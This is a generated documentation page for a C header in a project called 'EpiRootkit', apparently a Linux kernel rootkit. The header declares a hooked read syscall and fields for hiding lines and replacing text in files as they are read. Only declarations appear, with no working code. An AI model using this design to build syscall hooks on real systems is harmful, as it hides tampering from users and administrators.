EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
alterate.h
Go to the documentation of this file.
1#ifndef ALTERATE_H
2#define ALTERATE_H
3
4#include <linux/file.h>
5#include <linux/fs.h>
6#include <linux/list.h>
7#include <linux/namei.h>
8#include <linux/path.h>
9#include <linux/ptrace.h>
10#include <linux/slab.h>
11#include <linux/spinlock.h>
12#include <linux/types.h>
13#include <linux/uaccess.h>
14
23
24extern struct list_head modified_files_list;
25extern spinlock_t modified_files_lock;
26
27extern asmlinkage long (*__orig_read)(const struct pt_regs *);
28
29asmlinkage long notrace read_hook(const struct pt_regs *regs);
30
31#endif // ALTERATE_H
struct list_head modified_files_list
spinlock_t modified_files_lock
asmlinkage long(* __orig_read)(const struct pt_regs *)
Definition alterate.c:6
asmlinkage long notrace read_hook(const struct pt_regs *regs)
Definition alterate.c:8
char * file_path
Definition alterate.h:16
struct list_head list
Definition alterate.h:21
char * replace_dst
Definition alterate.h:20
char * replace_src
Definition alterate.h:19
int hide_line_with_number
Definition alterate.h:17
char * hide_line_with_substring
Definition alterate.h:18